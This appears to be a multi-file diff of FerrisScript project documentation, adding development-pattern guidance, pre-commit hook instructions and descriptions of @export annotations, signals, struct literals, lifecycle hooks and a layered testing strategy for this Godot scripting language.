-## 🎭 Your Role & Expertise
+## �️ Proven Patterns for Complex Tasks (FerrisScript Learnings)
+
+**When to Use These Patterns**: Multi-hour implementations (4+ hours), cross-crate changes, reflection/metadata systems, or features touching multiple pipeline stages.
+
+### Pattern 1: Checkpoint Methodology ✅
+
+**Source**: Phase 4.5 struct literal implementation (50% faster than Phase 4)
+
+**Problem**: Large features are hard to pause/resume, risky to implement all-at-once
+
+**Solution**: Break into 8 structured checkpoints with natural test/commit points
+
+**Checkpoint Structure**:
+
+1. **Checkpoint 1-2**: Foundation (AST nodes, basic parsing)
+2. **Checkpoint 3-4**: Core logic (type checking, validation)
+3. **Checkpoint 5-6**: Integration (runtime, conversions)
+4. **Checkpoint 7**: Error handling + recovery
+5. **Checkpoint 8**: Integration tests + documentation
+
+**Benefits**:
+
+- Natural pause points every 15-30 minutes
+- Easy to resume work (clear next checkpoint)
+- Early bug detection (test after each checkpoint)
+- Clear progress tracking (8/8 checkpoints = done)
+
+**Example Application** (Phase 4.5):
+
+- Checkpoint 1: AST StructLiteral node
+- Checkpoint 2: Parser basic syntax (`Type { }`)
+- Checkpoint 3: Parser field parsing (`field: value`)
+- Checkpoint 4: Type checker validate type name
+- Checkpoint 5: Type checker validate fields
+- Checkpoint 6: Runtime evaluate literal
+- Checkpoint 7: Error recovery (missing fields)
+- Checkpoint 8: Integration tests (all types)
+
+**How to Apply**:
+
+- For 4-6 hour feature: 8 checkpoints (~30 min each)
+- For 10+ hour feature: 3 sub-phases × 8 checkpoints each (24 total)
+- Test after each checkpoint (no commit until passing)
+- Document checkpoint completion in execution plan
+
+**Metrics**: 50% faster implementation, 3 bugs caught early (vs late-stage rework)
+
+---
+
+### Pattern 2: MVP + Robustness Split ✅
+
+**Source**: Phase 4.5 robustness testing (39 tests added after MVP)
+
+**Problem**: Trying to cover all edge cases during MVP slows progress
+
+**Solution**: Separate MVP implementation from robustness testing
+
+**MVP Phase** (Focus on happy path):
+
+- Basic functionality working
+- Core tests passing (feature works)
+- Integration with existing systems
+
+**Robustness Phase** (Focus on edge cases):
+
+- Missing/wrong/extra data
+- Type coercion and conversions
+- Error recovery and diagnostics
+- Integration examples
+- Performance edge cases
+
+**Benefits**:
+
+- MVP completes faster (don't get stuck on edge cases)
+- MVP proves feasibility early
+- Robustness testing validates production-readiness
+- Zero bugs found during robustness = good MVP quality
+
+**Example Application** (Phase 4.5):
+
+**MVP** (2.5 hours):
+
+- Struct literal syntax working
+- 31 tests re-enabled
+- 548 tests passing
+
+**Robustness** (3 hours):
+
+- 27 compiler edge case tests
+- 12 runtime execution tests
+- 5 integration examples
+- 587 tests passing (+39)
+
+**How to Apply**:
+
+- MVP first: Get feature working, basic tests passing
+- Commit MVP: "feat: [Feature] MVP complete"
+- Robustness next: Add edge case tests, examples
+- Commit robustness: "feat: [Feature] complete - robustness testing"
+
+**Metrics**: 0 bugs found during robustness testing (good MVP indicator)
+
+---
+
+### Pattern 3: Error Code Semantic Grouping ✅
+
+**Source**: Phase 4.5 struct literal errors (E701-E710 range)
+
+**Problem**: Large error code ranges (E100-E199) hard to navigate
+
+**Solution**: Allocate semantic ranges for feature families
+
+**Grouping Strategy**:
+
+- E70x: Struct literal errors (all types)
+- E801-E815: Export annotation errors (future)
+- Semantic > unique codes per type
+
+**Benefits**:
+
+- Easy to find related errors (all struct errors start with E7)
+- Can reuse codes across similar types (E701 = unknown field on ANY type)
+- Clear documentation patterns (E70x documentation section)
+
+**Example Application** (Phase 4.5):
+
+- E701-E703: Unknown field (Color, Rect2, Transform2D)
+- E704-E706: Missing field (reserved for future)
+- E707-E710: Type mismatch (reserved for future)
+- Reused E205 for Vector2 (existing error code)
+
+**How to Apply**:
+
+- Allocate 10-15 code range for feature
+- Group by category (parser, type checker, runtime)
+- Reuse codes across similar types
+- Document range in ERROR_CODES.md
+
+**Anti-Pattern**: E701 = Color field, E702 = Rect2 field → hard to remember
+
+---
+
+### Pattern 4: Integration Examples as Tests ✅
+
+**Source**: Phase 4.5 integration examples (5 .ferris files)
+
+**Problem**: Unit tests don't validate real-world usage patterns
+
+**Solution**: Create example files demonstrating practical patterns
+
+**Example File Structure**:
+
+```rust
+// examples/struct_literals_color.ferris
+# TEST: Color RGBA manipulation
+# CATEGORY: Type System
+# DESCRIPTION: Demonstrates Color struct literals with integer coercion
+# EXPECT: success
+
+// Real-world code here
+let red = Color { r: 1, g: 0, b: 0, a: 1 };  // Integer coercion
+```
+
+**Benefits**:
+
+- Examples serve as documentation
+- Examples validate real-world patterns
+- Examples can be used in test harness (metadata protocol)
+- Examples show best practices
+
+**Example Application** (Phase 4.5):
+
+- `struct_literals_color.ferris` - RGBA manipulation
+- `struct_literals_vector2.ferris` - Vector math
+- `struct_literals_rect2.ferris` - Boundaries
+- `struct_literals_transform2d.ferris` - Transformations
+- `struct_literals_functions.ferris` - Function patterns
+
+**How to Apply**:
+
+- Create 3-5 example files per feature
+- Include TEST metadata for harness integration
+- Demonstrate practical patterns (not just syntax)
+- Add to examples/ directory
+
+**Note**: Examples may not run through test harness immediately (Phase 5 work), but serve as reference
+
+---
+
+### Pattern 5: Sub-Phase Decomposition ✅
+
+**Source**: Phase 5 execution plan (3 sub-phases for @export)
+
+**Problem**: 20+ hour features too large for single-session implementation
+
+**Solution**: Decompose into independent sub-phases
+
+**Sub-Phase Structure**:
+
+1. **Sub-Phase 1: Parser & AST** (4-6 hours)
+   - Lexer tokens
+   - Parser grammar extension
+   - AST node definitions
+   - 8 checkpoints
+
+2. **Sub-Phase 2: Type Checker & Validation** (5-7 hours)
+   - Semantic validation
+   - Error code implementation
+   - Compatibility matrix
+   - 8 checkpoints
+
+3. **Sub-Phase 3: Runtime & Integration** (9-13 hours)
+   - Metadata storage
+   - Cross-crate integration
+   - Godot binding
+   - 8 checkpoints
+
+**Benefits**:
+
+- Each sub-phase can be implemented in separate session
+- Clear dependencies (must do Phase 1 before Phase 2)
+- Natural commit points (commit after each sub-phase)
+- Parallel work possible (if independent)
+
+**Example Application** (Phase 5):
+
+- Session 1: Parser + AST (4-6 hours)
+- Session 2: Type Checker (5-7 hours)
+- Session 3: Runtime + Godot (9-13 hours)
+- Total: 18-26 hours across 3 sessions
+
+**How to Apply**:
+
+- For 10+ hour feature: Split into 3 sub-phases
+- For 20+ hour feature: Split into 3-4 sub-phases
+- Each sub-phase has 8 checkpoints
+- Document sub-phase dependencies in execution plan
+
+**Metrics**: Phase 5 estimate = 23-31 hours → 3 sub-phases × 8 checkpoints = 24 total
+
+---
+
+### Pattern 6: Test-First Checkpoint Validation ✅
+
+**Source**: Phase 4.5 zero bugs during robustness testing
+
+**Problem**: Late-stage bugs require rework and context switching
+
+**Solution**: Write tests before implementation, validate at each checkpoint
+
+**Test-First Workflow**:
+
+1. Write test for checkpoint functionality
+2. Run test (expect failure)
+3. Implement checkpoint code
+4. Run test (expect pass)
+5. Move to next checkpoint
+
+**Benefits**:
+
+- Tests catch issues immediately
+- Clear success criteria (test passes = checkpoint done)
+- Zero bugs found during robustness = good quality
+- Tests serve as specification
+
+**Example Application** (Phase 4.5):
+
+- Checkpoint 3: Type checker validate type name
+  - Test: `test_struct_literal_wrong_type_name()` (write first)
+  - Implement: Type name validation (implement second)
+  - Result: Test passes → checkpoint complete
+
+**How to Apply**:
+
+- Write test before each checkpoint
+- Run test after implementation
+- Don't move to next checkpoint until tests pass
+- Document test count in checkpoint tracking
+
+**Metrics**: 0 bugs found during robustness testing = MVP quality validated
+
+---
+
+### Pattern 7: Execution Plan Template ✅
+
+**Source**: Phase 5 execution plan (comprehensive planning doc)
+
+**Problem**: Ad-hoc planning leads to scope creep and missed requirements
+
+**Solution**: Use structured execution plan template
+
+**Required Sections**:
+
+1. **Executive Summary** (goal, scope, why deferred if applicable)
+2. **Effort Estimation** (breakdown by category, total hours)
+3. **Sub-Phase Breakdown** (if 10+ hours)
+4. **Checkpoint Tracking** (24 total for complex features)
+5. **Testing Strategy** (MVP + robustness split)
+6. **Error Code Definitions** (allocated range)
+7. **File Modifications** (what will change)
+8. **Success Criteria** (functional + quality + integration)
+9. **Learnings from Previous Phases** (apply proven patterns)
+10. **Implementation Notes** (technical approach)
+
+**Benefits**:
+
+- Complete planning before implementation
+- Clear scope and requirements
+- Effort estimation for scheduling
+- Pattern reuse (apply Phase 4.5 learnings)
+
+**Example Application** (Phase 5):
+
+- 23-31 hour estimate (6 categories)
+- 3 sub-phases (Parser, Type Checker, Runtime)
+- 24 checkpoints (8 per sub-phase)
+- 51 total tests (30 MVP + 21 robustness)
+- Learnings from Phase 4.5 applied
+
+**How to Apply**:
+
+- Create execution plan before implementation
+- Use PHASE_X_EXECUTION_PLAN.md template
+- Document all decisions and assumptions
+- Update plan during implementation
+
+---
+
+### When to Use These Patterns
+
+**Use Checkpoint Methodology When**:
+
+- Feature will take 4+ hours
+- Multiple pipeline stages affected (parser + type checker + runtime)
+- Easy to get lost in implementation details
+
+**Use MVP + Robustness Split When**:
+
+- Feature has many edge cases
+- Want to prove feasibility quickly
+- Risk of scope creep
+
+**Use Sub-Phase Decomposition When**:
+
+- Feature will take 10+ hours
+- Can break into independent phases
+- Want to implement across multiple sessions
+
+**Use Test-First Validation When**:
+
+- Feature has clear specifications
+- Want to minimize bugs
+- Need confidence in implementation quality
+
+**Use All Patterns Together When**:
+
+- Complex feature (20+ hours)
+- Cross-crate changes
+- Reflection/metadata systems
+- High-risk implementation
+
+**Example**: Phase 5 @export uses ALL patterns:
+
+- ✅ Checkpoint methodology (24 checkpoints)
+- ✅ MVP + robustness split (30 MVP + 21 robustness)
+- ✅ Sub-phase decomposition (3 sub-phases)
+- ✅ Error code grouping (E801-E815)
+- ✅ Integration examples (3 files)
+- ✅ Test-first validation (51 tests)
+- ✅ Execution plan template (comprehensive doc)

+- ✅ Headless Godot execution (no GUI needed)
+- ✅ Test metadata parsing (TEST, CATEGORY, EXPECT, ASSERT)
+- ✅ Output marker parsing ([TEST_START], [PASS], [FAIL], [TEST_END])
+- ✅ Multiple output formats (console, JSON, JUnit)
+- ✅ Parallel test execution with timeout handling
+
+**Documentation**:
+
+- [Testing Guide - Integration Tests](docs/testing/TESTING_GUIDE.md#pattern-2-integration-tests-ferris-scripts)
+- [Test Harness Architecture](docs/testing/TEST_HARNESS_TESTING_STRATEGY.md)
+
+### Automated Testing (Pre-commit Hooks)
+
+FerrisScript uses **pre-commit hooks** to automatically validate code before commits. These hooks ensure:
+
+- ✅ Code is properly formatted (`cargo fmt`)
+- ✅ No linting warnings (`cargo clippy`)
+- ✅ All unit tests pass (`cargo test`)
+
+**Installing Pre-commit Hooks**:
+
+The hooks are automatically installed when you first run `cargo build`. If they're not active, install them manually:
+
+**PowerShell (Windows)**:
+
+```powershell
+.\scripts\install-git-hooks.ps1
+```
+
+**Bash (Linux/macOS)**:
+
+```bash
+./scripts/install-git-hooks.sh
+```
+
+**What Happens on Commit**:
+
+When you run `git commit`, the pre-commit hook will automatically:
+
+1. **Check formatting**: Verifies `cargo fmt` has been run
+2. **Run linter**: Executes `cargo clippy` with strict warnings
+3. **Run tests**: Executes quick unit tests (not integration tests)
+
+If any check fails, the commit is **blocked** and you'll see:
+
+```
+❌ Formatting issues detected
+❌ Linting warnings found
+❌ Tests failed
+```
+
+**Running Checks Manually**:
+
+You can run the same checks locally before committing:
+
+```bash
+# Format code
+cargo fmt --all
+
+# Check linting
+cargo clippy --workspace --all-targets --all-features -- -D warnings
+
+# Run tests
+cargo test --workspace
+
+# Or use the pre-commit script directly (PowerShell)
+.\.git\hooks\pre-commit
+
+# Or use the pre-commit script directly (Bash)
+./.git/hooks/pre-commit
+```
+
+**Skipping Pre-commit Hooks** (Not Recommended):
+
+In rare cases where you need to commit work-in-progress code:
+
+```bash
+git commit --no-verify -m "WIP: incomplete feature"
+```
+
+⚠️ **Warning**: Skipping hooks means your code may not pass CI checks. Use sparingly and fix issues before creating a PR.
+
+**Troubleshooting Pre-commit Hooks**:
+
+**Hook not running**:
+

 **TL;DR**: FerrisScript brings Rust's "if it compiles, it probably works" philosophy to game scripting, making your game development faster and more reliable.
 
+## 🔒 Type Safety Guarantees
+
+**If your FerrisScript compiles, it won't crash Godot.**
+
+FerrisScript provides **three layers of type safety** that work together to catch bugs before they reach production:
+
+### Layer 1: Compile-Time Validation (Strongest)
+
+The FerrisScript compiler catches errors **before you ever run your game**:
+
+- ✅ **Variable Type Mismatches**: Can't assign `String` to `i32` variable
+- ✅ **Function Signatures**: Parameters and return types validated
+- ✅ **Property Hint Compatibility**: Range hints only on numbers, enum hints only on strings
+- ✅ **Signal Parameters**: Type-checked when declared and emitted
+- ✅ **Immutability Violations**: Can't modify non-`mut` variables
+
+**Example**: Type error caught at compile-time
+
+```rust
+// GDScript - runs until line 5, then crashes
+var health = 100
+health = "low"  # Type changes at runtime
+func take_damage(amount):
+    health -= amount  # Runtime error: can't subtract from string!
+
+// FerrisScript - compile error immediately
+let mut health: i32 = 100;
+health = "low";  // ❌ Compile error: expected i32, found String
+                  // Error E201: Type mismatch at line 2, column 10
+```
+
+**Result**: Your game never crashes from type errors. **If it compiles, it works.**
+
+### Layer 2: Load-Time Validation (Medium)
+
+When scripts are loaded and attached to nodes:
+
+- ✅ **Property Metadata**: Validated against Inspector expectations
+- ✅ **Signal Definitions**: Registered with correct parameter types
+- ✅ **Lifecycle Functions**: Type-checked (_ready, _process, etc.)
+
+### Layer 3: Runtime Fallbacks (Weakest, but Safe)
+
+Even at runtime, FerrisScript prevents crashes:
+
+- ✅ **Variant Conversion**: Safe defaults for type mismatches
+- ✅ **NaN/Infinity Handling**: Prevents math crashes
+- ✅ **Property Bounds**: Range clamping enforced
+
+### Type Safety Comparison
+
+| Check Type | FerrisScript | GDScript | C# (Godot) |
+|------------|--------------|----------|------------|
+| Variable types | ✅ Compile-time | ⚠️ Runtime | ✅ Compile-time |
+| Function signatures | ✅ Compile-time | ⚠️ Runtime | ✅ Compile-time |
+| Property hints | ✅ Compile-time | ⚠️ Runtime | ✅ Compile-time |
+| Signal parameters | ✅ Compile-time | ⚠️ Runtime | ✅ Compile-time |
+| Hot reload | ⏳ Planned (v0.1.0) | ✅ Yes | ⚠️ Limited |
+| Node property access | ⏳ Planned (v0.2.0) | ⚠️ Runtime | ✅ Compile-time |

+### Inspector Integration (v0.0.4+)
+
+Use `@export` annotations to expose variables to Godot's Inspector:
+
+```rust
+// Basic exports
+@export let speed: f32 = 100.0;
+@export let jump_force: f32 = 500.0;
+
+// Range hints (min, max) - clamps values in Inspector
+@export(range, 0.0, 10.0) let health: f32 = 5.0;
+
+// Enum hints - dropdown selector in Inspector
+@export(enum, "Idle", "Walk", "Run") let state: String = "Idle";
+
+// File hints - file picker in Inspector
+@export(file, "*.png", "*.jpg") let texture_path: String = "";
+```
+
+**Inspector Features**:
+
+- **Real-time Editing**: Modify values in Inspector during gameplay
+- **Automatic Clamping**: Range hints enforce min/max bounds
+- **Type Validation**: Compile-time checks for correct hint usage
+- **Default Values**: Inspector shows initial values from script
+
+### Signal System (v0.0.4+)
+
+Declare and emit custom signals for communication between nodes:
+
+```rust
+// Declare signals at file scope
+signal health_changed(new_health: f32);
+signal player_died();
+
+let mut health: f32 = 100.0;
+
+fn take_damage(amount: f32) {
+    health = health - amount;
+    emit("health_changed", health);  // Emit with parameter
+    
+    if health <= 0.0 {
+        emit("player_died");  // Emit without parameters
+    }
+}
+```
+
+**Signal Features**:
+
+- **Type-Checked Parameters**: Compile-time validation of signal signatures
+- **Godot Integration**: Signals visible and connectable in Godot's Inspector
+- **Flexible Emission**: Use `emit("signal_name", params...)` in any function
+
 ### Type System
 
 FerrisScript supports the following types:
 
 - **Primitives**: `i32`, `f32`, `bool`, `String`
-- **Godot Types**: `Vector2`, `Node`, `Node2D`
+- **Godot Types**: `Vector2`, `Color`, `Rect2`, `Transform2D`, `Node`, `Node2D`
 - **Type Inference**: Literals are automatically typed
 - **Type Coercion**: `i32` → `f32` automatic conversion
 
+#### Struct Literal Syntax (v0.0.4+)
+
+Construct Godot types directly with field syntax:
+
+```rust
+// Vector2 - 2D position/velocity
+let position = Vector2 { x: 100.0, y: 200.0 };
+
+// Color - RGBA color values
+let red = Color { r: 1.0, g: 0.0, b: 0.0, a: 1.0 };
+
+// Rect2 - 2D rectangle (position + size)
+let pos = Vector2 { x: 0.0, y: 0.0 };
+let size = Vector2 { x: 100.0, y: 50.0 };
+let rect = Rect2 { position: pos, size: size };
+
+// Transform2D - 2D transformation (position + rotation + scale)
+let p = Vector2 { x: 100.0, y: 200.0 };
+let s = Vector2 { x: 2.0, y: 2.0 };
+let transform = Transform2D { 
+    position: p, 
+    rotation: 1.57,  // radians
+    scale: s 
+};
+```
+
+**Type Requirements**:
+
+- `Vector2`: fields `x`, `y` (both `f32`)
+- `Color`: fields `r`, `g`, `b`, `a` (all `f32`, 0.0-1.0 range)
+- `Rect2`: fields `position`, `size` (both `Vector2`)
+- `Transform2D`: fields `position`, `scale` (`Vector2`), `rotation` (`f32`)

-
-# Push main branch to GitHub
-git push -u origin main
-```
-
-**Expected Output**:
-
-```
-Enumerating objects: 500+, done.
-Counting objects: 100%, done.
-...
-To https://github.com/dev-parkins/FerrisScript.git
- * [new branch]      main -> main
-branch 'main' set up to track 'origin/main'.
-```
-
----
-
-### Step 2: Verify GitHub Actions CI/CD
-
-After pushing, GitHub Actions will automatically:
-
-1. **Run Tests** on Linux, Windows, macOS
-   - Check: https://github.com/dev-parkins/FerrisScript/actions
-   - Should see "CI/CD" workflow running
-   - Wait for all tests to pass (green checkmarks)
-
-2. **Build Release Artifacts**
-   - Creates binaries for all platforms
-   - Uploads as GitHub Actions artifacts
-
-**If tests fail**: Check the Actions tab for detailed logs
-
----
-
-### Step 3: Create Release Tag
-
-Once CI passes on main branch:
-
-```bash
-# Create annotated tag for v0.0.1
-git tag -a v0.0.1 -m "FerrisScript v0.0.1 - Initial Release
-
-🎉 First stable release of FerrisScript!
-
-Named after Ferris 🦀 (the Rust mascot), this release brings a 
-Rust-inspired scripting language to Godot 4.x.
-

-
-# Verify tag
-git tag -n1 v0.0.1
-
-# Push tag to GitHub
-git push origin v0.0.1
-```
-
-**Expected Output**:
-
-```
-To https://github.com/dev-parkins/FerrisScript.git
- * [new tag]         v0.0.1 -> v0.0.1
-```
-
----
-
-### Step 4: GitHub Actions Auto-Release

-## 🔍 Coverage Analysis Findings
-
-### Critical Gaps (Tracked for v0.0.4+)
-
-1. **Godot Integration (0%)** → Priority for v0.0.4 Phase 8
-   - Needs: GDExtension test harness
-   - Target: 60%+ coverage
-
-2. **AST Module (13.4%)** → Defer to v0.1.0
-   - Impact: Low (display/debug implementations)
-   - Not user-facing
-
-3. **Lexer Edge Cases (60.8%)** → v0.0.4
-   - Missing: Unicode, malformed inputs, overflow
-   - Target: 75%
-
-4. **Type Checker (68%)** → v0.0.4
-   - Missing: Complex nested expressions, error paths
-   - Target: 80%
-
-5. **Runtime (60.2%)** → v0.0.4/v0.1.0
-   - Missing: Arithmetic edge cases, Godot API errors
-   - Target: 75%
-
-**All gaps documented in**: `docs/planning/v0.0.3/COVERAGE_ANALYSIS.md`
-
----
-
-## 🚨 Issues Identified & Resolved
-
-### SonarQube Quality Gate Failed (Minor)
-
-**Issue**: SonarQube shows:
-
-- 0% coverage on new code (expected - SonarQube doesn't see tarpaulin coverage)
-- 7.3% duplication (above 3% threshold)
-
-**Analysis**:
-
-- **Coverage**: False negative - SonarQube integration not configured for Rust. Codecov shows 64.54% actual coverage.
-- **Duplication**: Acceptable for v0.0.3 - mostly test fixtures and error code tables. Will be addressed in future refactoring.
-
-**Action**: ⚠️ **Acceptable for release** - These are known limitations, not blockers.
-
----
-
-## 📋 CI/CD Configuration Review
-
-### Current Setup: Excellent ✅
-
-**code-scanning.yml**:
-
-- ✅ Codecov runs on push to `main` and `develop`
-- ✅ SonarQube quality scan
-- ✅ CodeQL security scanning
-
-**ci.yml**:
-
-- ✅ Quick-check for PRs (2-3 min feedback)
-- ✅ Full test suite for main/develop
-- ✅ Cross-platform builds (Linux, Windows, macOS)
-- ✅ Release automation for tags
-
-### Suggested Enhancement (Optional)
-
-**Codecov on PRs**: Currently only runs on pushes to main/develop.
-
-**Benefit**: Coverage reports in PR checks  
-**Tradeoff**: +5-10 min per PR  
-**Recommendation**: Defer to v0.0.4, evaluate demand
-
-Documented in: `docs/planning/v0.0.3/POST_RELEASE_IMPROVEMENTS.md`

+// Signal Prototype for FerrisScript v0.0.4
+// Tests dynamic signal registration using godot-rust 0.4 API
+//
+// CRITICAL DISCOVERY: godot-rust 0.4's add_user_signal() only takes ONE argument - the signal NAME!
+// There is NO parameter type specification at registration time.
+// Parameters are passed dynamically as Variants when emitting.
+//
+// API Summary:
+// - add_user_signal(name: impl AsArg<GString>) - register signal by name only
+// - emit_signal(signal: impl AsArg<StringName>, args: &[Variant]) - emit with dynamic types
+// - has_signal(signal: impl AsArg<StringName>) - check if registered
+//
+// This makes FerrisScript signal integration SIMPLER than expected!

+//! Headless Godot Integration Tests for godot_bind
+//!
+//! Tests GDExtension functions that require Godot engine runtime.
+//! Uses the existing test_harness infrastructure and ferris-test.toml configuration.
+//!
+//! ## Pattern: GDExtension Testing
+//!
+//! This demonstrates the **GDExtension Testing Pattern** for any crate that needs to test
+//! Godot bindings requiring engine initialization (godot::init()).
+//!
+//! **When to use**: Testing Rust functions that construct Godot types (GString, PropertyInfo, etc.)
+//!
+//! **How it works**:
+//! 1. Create GDScript test runner that calls your GDExtension functions
+//! 2. Run tests via existing TestConfig/GodotRunner infrastructure
+//! 3. Parse output markers ([PASS]/[FAIL]) for validation
+//!
+//! See: docs/TESTING_GUIDE.md > "GDExtension Testing Pattern"
+//!
+//! ## Running Tests
+//!
+//! ```bash
+//! # Uses ferris-test.toml configuration automatically
+//! cargo test --package ferrisscript_godot_bind --test headless_integration -- --ignored --nocapture
+//! ```
+//!
+//! ## Configuration
+//!
+//! Tests use the existing ferris-test.toml at workspace root:
+//! - godot_executable: Path to Godot console executable
+//! - project_path: godot_test directory
+//! - timeout_seconds: Test timeout (default: 30)
+//!
+//! Override via environment: GODOT_BIN, GODOT_PROJECT_PATH

-### Lifecycle Hooks
+### Lifecycle Hooks (v0.0.4)
 
-#### `_ready()`
+FerrisScript supports the following Godot lifecycle callbacks:
 
-Called when node enters the scene tree:
+| Callback | When Called | Parameters | Purpose |
+|----------|-------------|------------|---------|
+| `_ready()` | Node enters scene tree | None | Initialization |
+| `_process(delta)` | Every frame | `delta: f32` | Frame updates |
+| `_physics_process(delta)` | Every physics tick | `delta: f32` | Physics updates |
+| `_input(event)` | Input event received | `event: InputEvent` | Input handling |
+| `_unhandled_input(event)` | Unhandled input | `event: InputEvent` | Fallback input |
+| `_enter_tree()` | Node enters tree | None | Tree entry |
+| `_exit_tree()` | Node exits tree | None | Cleanup |
+
+#### `_ready()` Execution Flow
 
 1. Load `.ferris` file from `script_path`
 2. Compile to AST (`compile(source)`)
-3. Initialize runtime environment
-4. Register Godot-specific property callbacks
-5. Call `_ready()` function in script (if defined)
-
-#### `_process(delta: f64)`
+3. Type check the program
+4. Initialize runtime environment
+5. Register Godot-specific property callbacks
+6. Process @export annotations → PropertyInfo list
+7. Process signal declarations → register with Godot
+8. Call `_ready()` function in script (if defined)
 
-Called every frame:
+#### `_process(delta: f32)` Execution Flow
 
 1. Set thread-local node properties (position, velocity, etc.)
 2. Call `_process(delta)` function in script (if defined)
 3. Retrieve updated properties from thread-local storage
-4. Apply changes to Godot node
+4. Apply changes to Godot node (position, rotation, etc.)
+
+### @export Annotations (v0.0.4)
+
+FerrisScript supports Godot Inspector integration via `@export` annotations:
+
+```rust
+// Basic export
+@export let speed: f32 = 100.0;
+
+// Range hint (min, max) - clamps values in Inspector
+@export(range, 0.0, 10.0) let health: f32 = 5.0;
+
+// Enum hint - dropdown selector
+@export(enum, "Idle", "Walk", "Run") let state: String = "Idle";
+
+// File hint - file picker
+@export(file, "*.png", "*.jpg") let texture_path: String = "";
+
+// Multiline hint - text area
+@export(multiline) let description: String = "Default text";
+
+// Color hint - color picker
+@export(color_no_alpha) let team_color: Color = Color { r: 1.0, g: 0.0, b: 0.0, a: 1.0 };
+```
+
+**Implementation** (`crates/godot_bind/src/export_info_functions.rs`):
+
+- Parse @export annotations during compilation
+- Convert to Godot `PropertyInfo` objects
+- Register with Godot via `_get_property_list()`
+- Implement `_get()` and `_set()` for Inspector integration
+
+### Signal System (v0.0.4)
+
+Declare and emit custom signals visible in Godot Inspector:
+
+```rust
+// Declare at file scope
+signal health_changed(new_health: f32);
+signal player_died();
+
+// Emit in any function
+fn take_damage(amount: f32) {
+    health = health - amount;
+    emit_signal("health_changed", health);
+    if health <= 0.0 {
+        emit_signal("player_died");
+    }
+}
+```
+
+**Implementation**:
+
+- Parse `signal` declarations during compilation
+- Register signals with Godot via `add_user_signal()`
+- Translate `emit_signal()` calls to Godot's signal emission
+
+### Node Query Functions (v0.0.4)
+
+Access scene tree nodes at runtime:
+
+```rust
+let player = get_node("Player");        // Get child node
+let parent = get_parent();              // Get parent node
+let child = find_child("Enemy", true); // Find descendant (recursive)
+if has_node("UI/HealthBar") {          // Check node exists
+    let health_bar = get_node("UI/HealthBar");
+}
+```
+
+**Implementation** (`crates/runtime/src/lib.rs`):
+
+- Callback-based architecture (node access via callbacks)
+- Supports relative paths (`"Child"`) and nested paths (`"UI/HUD"`)
+- Returns opaque node handles (no direct property access yet)
+
+### Struct Literal Syntax (v0.0.4)
+
+Construct Godot types directly with field syntax:
+
+```rust
+// Vector2
+let pos = Vector2 { x: 100.0, y: 200.0 };
+
+// Color (RGBA)
+let red = Color { r: 1.0, g: 0.0, b: 0.0, a: 1.0 };
+
+// Rect2
+let rect = Rect2 { 
+    position: Vector2 { x: 0.0, y: 0.0 }, 
+    size: Vector2 { x: 100.0, y: 50.0 } 
+};
+
+// Transform2D
+let transform = Transform2D { 
+    position: Vector2 { x: 100.0, y: 200.0 },
+    rotation: 0.0,
+    scale: Vector2 { x: 1.0, y: 1.0 }
+};
+```
+
+**Implementation** (`crates/compiler/src/parser.rs`, `crates/runtime/src/lib.rs`):
+
+- Parse struct literal syntax: `TypeName { field: value, ... }`
+- Type check field names and types
+- Construct Godot types at runtime via `gdext` API

 ## Testing Strategy
 
-### Unit Tests
+FerrisScript uses a **4-layer testing strategy** to ensure quality across the stack:
+
+```
+┌─────────────────────────────────────────────┐
+│   Layer 4: Manual Testing (Godot Editor)   │  ← Feature validation
+├─────────────────────────────────────────────┤
+│   Layer 3: Integration Tests (.ferris)     │  ← End-to-end behavior
+├─────────────────────────────────────────────┤
+│   Layer 2: GDExtension Tests (GDScript)    │  ← Godot bindings
+├─────────────────────────────────────────────┤
+│   Layer 1: Unit Tests (Rust)               │  ← Pure logic
+└─────────────────────────────────────────────┘
+```
 
-Each crate has unit tests:
+### Test Coverage (v0.0.4)
 
-- **Compiler**: Test lexer, parser, type checker independently
-- **Runtime**: Test expression evaluation, statement execution
-- **Godot bind**: Test property access, lifecycle hooks (harder, requires Godot)
+| Layer | Type | Count | Location | Purpose |
+|-------|------|-------|----------|---------|
+| **Layer 1** | Unit (Compiler) | 543 | `crates/compiler/src/` | Lexer, parser, type checker |
+| **Layer 1** | Unit (Runtime) | 110 | `crates/runtime/src/` | Interpreter, execution engine |
+| **Layer 1** | Unit (GDExtension) | 11 | `crates/godot_bind/src/` | Godot bindings (10 ignored*) |
+| **Layer 1** | Unit (Test Harness) | 38 | `crates/test_harness/src/` | ferris-test CLI |
+| **Layer 2** | GDExtension | N/A | `godot_test/scripts/*.gd` | PropertyInfo, signals |
+| **Layer 3** | Integration | 15+ | `godot_test/scripts/*.ferris` | End-to-end workflows |
+| **Layer 4** | Manual | N/A | Godot Editor | Feature validation |
+| **Total** | | **843** | | **~82% coverage** |
 
-**Example test** (`compiler/src/lib.rs`):
+\* Some tests require Godot runtime initialization and are covered by integration tests instead.
+
+### Layer 1: Unit Tests (Rust)
+
+**Purpose**: Test pure logic without Godot dependencies
+
+**Example** (`compiler/src/lib.rs`):
 
 ```rust
 #[test]
-fn test_compile_hello() {
-    let source = std::fs::read_to_string("examples/hello.ferris").unwrap();
-    assert!(compile(&source).is_ok());
+fn test_parse_export_annotation() {
+    let source = "@export let speed: f32 = 100.0;";
+    let result = compile(&source);
+    assert!(result.is_ok());
+    assert!(result.unwrap().annotations.len() == 1);
 }
 ```
 
-### Integration Tests
+**Running**:
 
-Located in `examples/`:
+```bash
+cargo test --workspace              # All unit tests
+cargo test -p ferrisscript_compiler # Compiler only
+cargo test -p ferrisscript_runtime  # Runtime only
+```
 
-- `hello.ferris`: Basic function call
-- `move.ferris`: Variable mutation, arithmetic
-- `bounce.ferris`: Conditionals, property access
+### Layer 2: GDExtension Tests
 
-Each example has a corresponding test in `compiler/lib.rs` that compiles the script.
+**Purpose**: Test Rust code requiring Godot runtime (`godot::init()`)
 
-### Manual Testing
+**Challenges**: Many GDExtension functions require Godot initialization, which can't run in standard unit tests. Solution: Mark as `#[ignore]` and cover via Layer 3 integration tests.
 
-To test with Godot:
+**Example** (`godot_bind/src/lib.rs`):
+
+```rust
+#[test]
+#[ignore = "requires Godot runtime - tested via ferris-test"]
+fn test_export_range_property() {
+    // Test PropertyInfo generation for @export(range)
+}
+```
+
+### Layer 3: Integration Tests (.ferris scripts)
+
+**Purpose**: End-to-end testing with real Godot runtime
+
+**Tool**: `ferris-test` CLI (headless Godot runner)
+
+**Example** (`godot_test/scripts/signal_test.ferris`):
+
+```ferrisscript
+// TEST: signal_emission
+// CATEGORY: integration
+// EXPECT: success
+// ASSERT: Signal emitted correctly
+
+export fn _ready() {
+    print("[TEST_START]");
+    signal health_changed(f32);
